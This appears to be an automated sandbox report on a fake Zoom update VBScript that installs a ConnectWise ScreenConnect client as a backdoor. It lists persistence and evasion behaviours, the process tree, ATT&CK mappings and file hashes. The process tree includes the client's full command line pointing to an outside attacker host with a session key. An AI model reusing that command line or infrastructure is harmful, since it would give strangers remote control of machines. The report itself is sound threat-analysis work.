Overview

overview

8

Static

static

1

Zoom_Updat...er.vbs

windows10-2004-x64

8

Zoom_Updat...er.vbs

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 23:05

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General

  • Target
    Zoom_Update_Installer.vbs
  • Size 1KB
  • Sample260809-226lcaxbje
  • SHA256 47f5e542da7d6c2f2eeb10b6e1632d99f61fe90470a7c33970b9f0ac5aa00c1a
  • MD5 SHA1 SHA512 TLSH
Score
8/10
backdoordiscoveryexecutionpersistenceprivilege_escalationransomwareratrevoked_codesign

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 38 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Zoom_Update_Installer.vbs"
    1⤵
    • Badlisted process makes network request
    • Executes a VBScript file via the Windows Script Host.
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:5884
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\AppData.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:5556
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3148
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 9B7E332973DE2FCFBB0129BF81C61F37 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2324
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI5990.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240736953 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4444
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1888
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 883266D0409AA87115BB371FC49E1B09
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4868
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2381BFAD7C178621F3E12C8E0FCE3804 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3076
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2176
    • C:\Program Files (x86)\ScreenConnect Client (f7f9ace9f711f464)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (f7f9ace9f711f464)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=64.177.115.98&p=8041&s=e2740d0a-3e57-4e1c-80ca-8f3d71e8779a&k=BgIAAACkAABSU0ExAAgAAAEAAQCpGjbBIs1DvIRBRGckdSBne%2fXG0ZjJAxPwPXyL%2bwcHzMdztN62mrCB2vkAfnOEbJs1y5Cb1y8vGtJV%2bEKzzaMxD9F8Rje0j%2fiEoR9ThPFtSBOTLyjv4jdDwcPqWlnW4n9Ft2O5%2fn%2fv%2fGNZMu%2fuMNKSS6J8gUFu30dgcuhoTR3%2fANfehphrLMSDGdWLekCsQkLtyiQPqHm%2fBvxeosefumlM%2f19YozICtl5f5vuBiye04lbjqUiLU8FrBWdtDirHjrfsXxh9STAiIKh9Y%2bSkUt0T6lVhSyh76B6Ztd39R5Vub70Wnz1x4dW%2fLro3P6xoYDP0yFX8fJZvMdFdKBltL3Dd"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1696
      • C:\Program Files (x86)\ScreenConnect Client (f7f9ace9f711f464)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f7f9ace9f711f464)\ScreenConnect.WindowsClient.exe" "RunRole" "f4c2efb8-a459-4ae4-ac02-6de489ab580e" "User"
        2⤵
        • Executes dropped EXE
        PID:3940
      • C:\Program Files (x86)\ScreenConnect Client (f7f9ace9f711f464)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f7f9ace9f711f464)\ScreenConnect.WindowsClient.exe" "RunRole" "92427762-667b-437f-84b6-12e184516966" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:2968

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          1
          T1059

          Visual Basic

          1
          T1059.005

          Persistence

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          1
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Privilege Escalation

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          1
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Defense Evasion

          Modify Registry

          1
          T1112

          Credential Access

          Discovery

          Peripheral Device Discovery

          2
          T1120

          Query Registry

          3
          T1012

          System Information Discovery

          4
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59b27e.rbs
          • Path C:\Config.Msi\e59b27e.rbs
          • Size 214KB
          • SHA256 96b4d19a4383d95203a8f14844e0bbc86353f96f1650f3c76e6e8d3544e96167
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (f7f9ace9f711f464)\Client.en-US.resources
          • Size 49KB
          • SHA256 974bc867903dc263ff3adda7a974ee20c4c011ecfa08ce619e0bfcb0f0684107
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (f7f9ace9f711f464)\Client.resources
          • Size 9KB
          • SHA256 815deb8285abd96173f6333230f6b731cf1e6616d66132c3c4427feb9f6e3a52
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Client.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (f7f9ace9f711f464)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (f7f9ace9f711f464)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (f7f9ace9f711f464)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsAuthenticationPackage.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (f7f9ace9f711f464)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (f7f9ace9f711f464)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe.config
          • Path C:\Program Files (x86)\ScreenConnect Client (f7f9ace9f711f464)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ScreenConnect.WindowsCredentialProvider.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (f7f9ace9f711f464)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          app.config
          • Path C:\Program Files (x86)\ScreenConnect Client (f7f9ace9f711f464)\app.config
          • Size 2KB
          • SHA256 b45f18e5c5eed9081371848510fece5291100f5139958544a25d72a802dc40d1
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          system.config
          • Path C:\Program Files (x86)\ScreenConnect Client (f7f9ace9f711f464)\system.config
          • Size 945B
          • SHA256 6d29b755bd6bef7d0bffab2318a07b1dbccd5880bc152860ca24ebb10797509b
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          AppData.msi
          • Path C:\Users\Admin\AppData\Local\Temp\AppData.msi
          • Size 9.5MB
          • SHA256 d0a81e23f1fa77334f1294c444277b027ed600546aa50b92f67bfc4572425a28
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MSI5990.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\MSI5990.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Microsoft.Deployment.WindowsInstaller.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI5990.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI5990.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.InstallerActions.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI5990.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI5990.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MSIB8B8.tmp
          • Path C:\Windows\Installer\MSIB8B8.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          metadata-2
          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 e848c71862f5e4f7f8b90a93d295fa316259dba312aefad937d62b9b711ed7bc
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          {cc9aedf1-c4a2-443a-ba57-f371fe76d16c}_OnDiskSnapshotProp
          • Path \??\Volume{c4eee659-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{cc9aedf1-c4a2-443a-ba57-f371fe76d16c}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 df9011d6c37b30965903a197e911033e3bc4fcb2c12c04c47d23f9cbe7131bd1
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/1696-101-0x00000000043D0000-0x0000000004420000-memory.dmp
          Download

          memory/1696-106-0x00000000046D0000-0x0000000004762000-memory.dmp
          Download

          memory/1696-108-0x0000000004460000-0x00000000044A1000-memory.dmp
          Download

          memory/1696-110-0x00000000048C0000-0x0000000004995000-memory.dmp
          Download

          memory/1696-105-0x0000000004420000-0x0000000004456000-memory.dmp
          Download

          memory/1696-79-0x0000000001B50000-0x0000000001B68000-memory.dmp
          Download

          memory/3940-118-0x0000000000F10000-0x0000000000FA8000-memory.dmp
          Download

          memory/3940-119-0x000000001BB20000-0x000000001BB56000-memory.dmp
          Download

          memory/3940-120-0x000000001BF40000-0x000000001BFCC000-memory.dmp
          Download

          memory/3940-121-0x000000001C180000-0x000000001C32C000-memory.dmp
          Download

          memory/3940-122-0x000000001C330000-0x000000001C4B8000-memory.dmp
          Download

          memory/3940-123-0x0000000002FE0000-0x0000000002FF8000-memory.dmp
          Download

          memory/3940-124-0x000000001BB60000-0x000000001BB78000-memory.dmp
          Download

          memory/4444-36-0x0000000006150000-0x00000000062FC000-memory.dmp
          Download

          memory/4444-32-0x0000000005F10000-0x0000000005F9C000-memory.dmp
          Download

          memory/4444-37-0x00000000068C0000-0x0000000006E7A000-memory.dmp
          Download

          memory/4444-28-0x0000000005E40000-0x0000000005E4A000-memory.dmp
          Download

          memory/4444-24-0x0000000005E50000-0x0000000005E7E000-memory.dmp
          Download